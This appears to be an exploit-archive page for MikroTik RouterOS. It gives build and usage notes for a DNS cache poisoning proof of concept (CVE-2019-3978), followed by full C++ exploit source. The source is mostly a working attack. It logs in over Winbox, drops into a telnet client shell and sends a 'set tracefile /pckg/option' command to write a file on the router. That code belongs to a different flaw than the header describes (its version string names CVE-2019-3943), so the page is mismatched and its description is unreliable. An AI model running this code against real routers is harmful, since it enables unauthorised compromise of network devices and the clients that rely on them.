MikroTik RouterOS 6.45.6 DNS Cache Poisoning

2019.11.01
Credit: Jacob Baines
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: MikroTik RouterOS 6.45.6 - DNS Cache Poisoning # Date: 2019-10-30 # Exploit Author: Jacob Baines # Vendor Homepage: https://mikrotik.com/ # Software Link: https://mikrotik.com/download # Version: 6.45.6 Stable (and below) or 6.44.5 Long-term (and below) # Tested on: Various x86 and MIPSBE RouterOS installs # CVE : CVE-2019-3978 # Writeup: https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21 # Disclosure: https://www.tenable.com/security/research/tra-2019-46 # Unauthenticated DNS request via Winbox # RouterOS before 6.45.7 (stable) and 6.44.6 (Long-term) allowed an unauthenticated remote user trigger DNS requests # to a user specified DNS server via port 8291 (winbox). The DNS response then gets cached by RouterOS, setting up # a perfect situation for unauthenticated DNS cache poisoning. This is assigned CVE-2019-3978. # This PoC takes a target ip/port (router) and a DNS server (e.g. 8.8.8.8). # The PoC will always send a DNS request for example.com. In the following write up, # I detail how to use this to poison the routers cache: # https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21 # Note that the writup focuses on router's configured *without* the DNS server enabled. # Obviously this attack is significantly more powerful when downstream clients use the router as a DNS server. ## What are the build dependencies? # This requires: # * Boost 1.66 or higher # * cmake ## How do I build this jawn? # Just normal cmake. Try this: # ```sh # mkdir build # cd build # cmake .. # make # ``` # Resolve dependencies as needed. ## Usage Example # ```sh # albinolobster@ubuntu:~/routeros/poc/winbox_dns_request/build$ ./winbox_dns_request -i 192.168.1.50 -p 8291 -s 8.8.8.8 # -> {bff0005:1,u1:134744072,uff0006:1,uff0007:3,s3:'example.com',Uff0001:[14]} # <- {u4:584628317,uff0003:2,uff0006:1,s3:'example.com',U6:[584628317],U7:[21496],Uff0001:[],Uff0002:[14],S5:['example.com']} # albinolobster@ubuntu:~/routeros/poc/winbox_dns_request/build$ ssh admin@192.168.1.50 # ... # [admin@MikroTik] > ip dns cache print # Flags: S - static # # NAME ADDRESS TTL # 0 example.com 93.184.216.34 5h57m57s # [admin@MikroTik] > # ``` # Source: # https://github.com/tenable/routeros/tree/master/poc/winbox_dns_request /* Copyright 2019 Tenable, Inc. * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <fstream> #include <cstdlib> #include <iostream> #include <boost/cstdint.hpp> #include <boost/program_options.hpp> #include <boost/algorithm/string.hpp> #include "winbox_session.hpp" #include "winbox_message.hpp" namespace { const char s_version[] = "CVE-2019-3943 PoC Using SNMP dlopen"; bool parseCommandLine(int p_argCount, const char* p_argArray[], std::string& p_username, std::string& p_password, std::string& p_ip, std::string& p_port) { boost::program_options::options_description description("options"); description.add_options() ("help,h", "A list of command line options") ("version,v", "Display version information") ("username,u", boost::program_options::value<std::string>(), "The user to log in as") ("password", boost::program_options::value<std::string>(), "The password to log in with") ("port,p", boost::program_options::value<std::string>()->default_value("8291"), "The Winbox port to connect to") ("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to"); boost::program_options::variables_map argv_map; try { boost::program_options::store( boost::program_options::parse_command_line( p_argCount, p_argArray, description), argv_map); } catch (const std::exception& e) { std::cerr << e.what() << "\n" << std::endl; std::cerr << description << std::endl; return false; } boost::program_options::notify(argv_map); if (argv_map.empty() || argv_map.count("help")) { std::cerr << description << std::endl; return false; } if (argv_map.count("version")) { std::cerr << "Version: " << ::s_version << std::endl; return false; } if (argv_map.count("username") && argv_map.count("ip") & argv_map.count("port")) { p_username.assign(argv_map["username"].as<std::string>()); p_ip.assign(argv_map["ip"].as<std::string>()); p_port.assign(argv_map["port"].as<std::string>()); if (argv_map.count("password")) { p_password.assign(argv_map["password"].as<std::string>()); } else { p_password.assign(""); } return true; } else { std::cerr << description << std::endl; } return false; } } int main(int p_argc, const char** p_argv) { std::string username; std::string password; std::string ip; std::string port; if (!parseCommandLine(p_argc, p_argv, username, password, ip, port)) { return EXIT_FAILURE; } Winbox_Session winboxSession(ip, port); if (!winboxSession.connect()) { std::cerr << "Failed to connect to the remote host" << std::endl; return EXIT_FAILURE; } boost::uint32_t p_session_id = 0; if (!winboxSession.login(username, password, p_session_id)) { std::cerr << "[-] Login failed." << std::endl; return false; } WinboxMessage msg; msg.set_to(0x4c); msg.set_command(0xa0065); msg.set_request_id(1); msg.set_reply_expected(true); msg.add_u32(5,80); // height msg.add_u32(6,24); // width msg.add_u32(8,1); // controls method. 0 (nova/bin/login), 1 (telnet), 2 (ssh), 3 (mactel), 4 (nova/bin/telser), default... msg.add_string(0x0a, username); //username msg.add_string(1,""); msg.add_string(7, "vt102"); msg.add_string(9, "-l a"); // drop into telnet client shell winboxSession.send(msg); msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return EXIT_FAILURE; } if (msg.has_error()) { std::cout << "error: " << msg.get_error_string() << std::endl; } boost::uint32_t session_id = msg.get_u32(0xfe0001); msg.reset(); msg.set_to(0x4c); msg.set_command(0xa0068); msg.set_request_id(2); msg.set_reply_expected(true); msg.add_u32(5,82); msg.add_u32(6,24); msg.add_u32(0xfe0001, session_id); winboxSession.send(msg); boost::uint32_t tracker = 0; msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return EXIT_FAILURE; } msg.reset(); msg.set_to(0x4c); msg.set_command(0xa0067); msg.set_request_id(3); msg.set_reply_expected(true); msg.add_u32(3, tracker); msg.add_u32(0xfe0001, session_id); winboxSession.send(msg); msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return EXIT_FAILURE; } if (msg.has_error()) { std::cout << msg.serialize_to_json() << std::endl; std::cout << "error: " << msg.get_error_string() << std::endl; return EXIT_FAILURE; } else if (!msg.get_raw(0x02).empty()) { std::string raw_payload(msg.get_raw(0x02)); tracker += raw_payload.size(); } //{u3:1047,ufe0001:0,uff0007:655463,r2:[115],Uff0001:[76],Uff0002:[0,456]} msg.reset(); msg.set_to(0x4c); msg.set_command(0xa0067); msg.set_request_id(4); msg.set_reply_expected(true); msg.add_u32(3, tracker); msg.add_u32(0xfe0001, session_id); msg.add_raw(2, "set tracefile /pckg/option\n"); winboxSession.send(msg); bool found_telnet_prompt = false; while (!found_telnet_prompt) { msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return EXIT_FAILURE; } if (msg.has_error()) { std::cout << msg.serialize_to_json() << std::endl; std::cout << "error: " << msg.get_error_string() << std::endl; return EXIT_FAILURE; } else if (!msg.get_raw(0x02).empty()) { std::string raw_payload(msg.get_raw(0x02)); if (raw_payload.find("telnet> ") != std::string::npos) { std::cout << "Success!" << std::endl; found_telnet_prompt = true; } } } return EXIT_SUCCESS; }


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